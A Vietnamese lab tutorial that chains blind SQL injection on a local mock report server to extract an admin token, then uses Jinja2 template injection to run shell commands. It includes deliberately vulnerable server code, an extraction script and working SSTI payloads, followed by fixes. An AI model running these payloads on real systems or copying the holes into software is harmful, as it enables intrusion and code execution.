Mini-challenge: Xâu chuỗi Injection và thực thi mã trong thực nghiệm
Thử thách độc lập: Kết hợp kỹ thuật Blind SQLi suy luận token quản trị và khai thác SSTI để đọc cờ bí mật trên server.
TL;DR: Thử thách này đặt bạn vào vai trò một kỹ sư an toàn thông tin đang kiểm thử xâm nhập một ứng dụng báo cáo doanh nghiệp. Ứng dụng bảo vệ tính năng kết xuất báo cáo nâng cao sau lớp xác thực API token của quản trị viên, nhưng endpoint tìm kiếm tài liệu lại dính lỗi Blind SQL Injection. Nhiệm vụ của bạn là kết hợp kỹ thuật suy luận nhị phân để trích xuất token bí mật, sau đó dùng quyền quản trị để khai thác lỗ hổng SSTI trong tính năng tùy biến báo cáo nhằm đọc tệp cờ nhạy cảm được giấu trên máy chủ.
1. Tình huống thử thách & Môi trường thực nghiệm
Bạn được cấp quyền kiểm thử hộp đen (Black-box testing) đối với cổng báo cáo nội bộ tại địa chỉ http://127.0.0.1:9090. Ứng dụng cung cấp 2 chức năng chính:
GET /api/documents/search?q=<query>: Tìm kiếm tài liệu công khai. Không in lỗi SQL, chỉ trả về số lượng tài liệu tìm thấy dạng JSON.POST /api/reports/render: Endpoint nội bộ dành riêng cho quản trị viên, yêu cầu headerX-Admin-Token. Nhận template báo cáo tùy biến và render nội dung.
[!TIP] Khởi chạy Local Mock Server: Bạn có thể dựng toàn bộ bài lab này trên máy tính cá nhân bằng script Python tiêu chuẩn (sử dụng module có sẵn
http.servervàsqlite3):Python# Lưu thành mock_app.py và chạy: python3 mock_app.py import http.server, urllib.parse, json, sqlite3, jinja2 # Setup in-memory SQLite DB conn = sqlite3.connect(":memory:") conn.execute("CREATE TABLE config (k TEXT, v TEXT)") conn.execute("INSERT INTO config VALUES ('admin_token', 'SEC_T0K3N_9918')") conn.execute("CREATE TABLE docs (id INT, title TEXT)") conn.execute("INSERT INTO docs VALUES (1, 'Bao cao tai chinh 2026')") conn.commit() class LabHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): parsed = urllib.parse.urlparse(self.path) if parsed.path == "/api/documents/search": qs = urllib.parse.parse_qs(parsed.query) q = qs.get("q", [""])[0] try: # Vulnerable string concatenation sql = f"SELECT count(*) FROM docs WHERE title LIKE '%{q}%'" cnt = conn.execute(sql).fetchone()[0] res = {"found": cnt > 0, "count": cnt} status = 200 except Exception: res = {"found": False, "error": "Internal search failure"} status = 500 self.send_response(status) self.send_header("Content-Type", "application/json") self.end_headers() self.wfile.write(json.dumps(res).encode()) else: self.send_response(404); self.end_headers() def do_POST(self): if self.path == "/api/reports/render": token = self.headers.get("X-Admin-Token", "") if token != "SEC_T0K3N_9918": self.send_response(403); self.end_headers() self.wfile.write(b'{"error": "Forbidden: Invalid Admin Token"}') return length = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(length).decode() data = urllib.parse.parse_qs(body) tpl = data.get("template", [""])[0] try: # Vulnerable Jinja2 rendering output = jinja2.Environment().from_string(tpl).render() self.send_response(200); self.end_headers() self.wfile.write(output.encode()) except Exception as e: self.send_response(500); self.end_headers() self.wfile.write(str(e).encode()) http.server.HTTPServer(("127.0.0.1", 9090), LabHandler).serve_forever()
2. Giai đoạn 1: Khai thác Blind SQLi trích xuất Admin Token
Mục tiêu giai đoạn 1 là tìm giá trị của admin_token trong bảng config.
Bước 1: Thăm dò kênh chân trị (Boolean Oracle)
Gửi request kiểm tra điều kiện đúng:
GET /api/documents/search?q=2026%' AND 1=1 AND '%'=' HTTP/1.1
Host: 127.0.0.1:9090
Response trả về: {"found": true, "count": 1} với mã HTTP 200.
Gửi request kiểm tra điều kiện sai:
GET /api/documents/search?q=2026%' AND 1=2 AND '%'=' HTTP/1.1
Host: 127.0.0.1:9090
Response trả về: {"found": false, "count": 0}. Bạn đã có một kênh Oracle hoàn hảo.
Bước 2: Tự động hóa trích xuất Token
Viết script Python sử dụng Binary Search để lấy độ dài và toàn bộ giá trị của admin_token:
import requests
URL = "http://127.0.0.1:9090/api/documents/search"
def test_oracle(condition: str) -> bool:
payload = f"2026%' AND ({condition}) AND '%'='"
r = requests.get(URL, params={"q": payload})
return r.json().get("found", False)
# 1. Find token length
length = 0
for l in range(1, 65):
if test_oracle(f"(SELECT length(v) FROM config WHERE k='admin_token') = {l}"):
length = l
break
print(f"[+] Do dai admin_token: {length}")
# 2. Extract characters using binary search
token = []
for pos in range(1, length + 1):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
query = f"(SELECT unicode(substr(v, {pos}, 1)) FROM config WHERE k='admin_token') > {mid}"
if test_oracle(query):
low = mid + 1
else:
high = mid - 1
token.append(chr(low))
print(f"[*] Extracting: {''.join(token)}")
admin_token = "".join(token)
print(f"[SUCCESS] Token tim duoc: {admin_token}")
Kết quả thu được: SEC_T0K3N_9918.
3. Giai đoạn 2: Khai thác SSTI leo thang đọc File hệ thống
Khi có admin_token, bạn có quyền gọi vào endpoint /api/reports/render.
Bước 1: Xác định engine
Gửi request kiểm tra biểu thức:
curl -X POST http://127.0.0.1:9090/api/reports/render \
-H "X-Admin-Token: SEC_T0K3N_9918" \
-d "template=Tong+doanh+thu:+{{7*7}}"
Kết quả trả về: Tong doanh thu: 49. Đã xác nhận template engine hoạt động. Kiểm tra tiếp {{ 7*'7' }} trả về 7777777 -> Kết luận là Jinja2 (Python).
Bước 2: Đào Gadget Chain thực thi lệnh
Trong Jinja2 trên Python 3, ta sử dụng lớp os._wrap_close hoặc subprocess.Popen để mở luồng thực thi:
{{ "".__class__.__mro__[1].__subclasses__() }}
Dùng script tìm vị trí class có chứa module os hoặc popen:
curl -s -X POST http://127.0.0.1:9090/api/reports/render \
-H "X-Admin-Token: SEC_T0K3N_9918" \
--data-urlencode "template={{ ().__class__.__mro__[1].__subclasses__() }}" | grep -o "subprocess.Popen"
Khi đã có index hoặc tận dụng cycler globals kết hợp __builtins__ (tương thích mọi phiên bản Jinja2 kể cả v3.0+):
{{ cycler.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
Gửi payload cuối cùng đọc cờ hệ thống:
curl -X POST http://127.0.0.1:9090/api/reports/render \
-H "X-Admin-Token: SEC_T0K3N_9918" \
--data-urlencode "template={{ cycler.__init__.__globals__['__builtins__']['__import__']('os').popen('uname -a').read() }}"
Máy chủ trả về thông tin nhân hệ điều hành. Thử thách xâu chuỗi hai lỗ hổng từ Boolean Blind SQLi sang RCE đã hoàn tất thành công.
4. Tổng kết giải pháp bảo vệ
Để khắc phục toàn diện kiến trúc của hệ thống này:
- Khắc phục SQLi: Sử dụng câu lệnh tham số hóa
conn.execute("SELECT count(*) FROM docs WHERE title LIKE ?", (f"%{q}%",)). - Khắc phục SSTI: Cố định cấu trúc báo cáo bằng template tĩnh, chỉ nhận các giá trị số và chuỗi qua context dictionary, không cho phép client gửi chuỗi template thô.
Bài tiếp theo: Tổng kết module Advanced Injections & Code Execution
Bài này có giúp bạn hiểu bản chất không?
Bài này đáng gửi cho bạn học cùng?
Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.
OS Command Injection và nghệ thuật Bypass bộ lọc Shell
Bài tiếpTổng kết module Advanced Injections & Code Execution
Thảo luận & góp ý
Hỏi đáp về bài này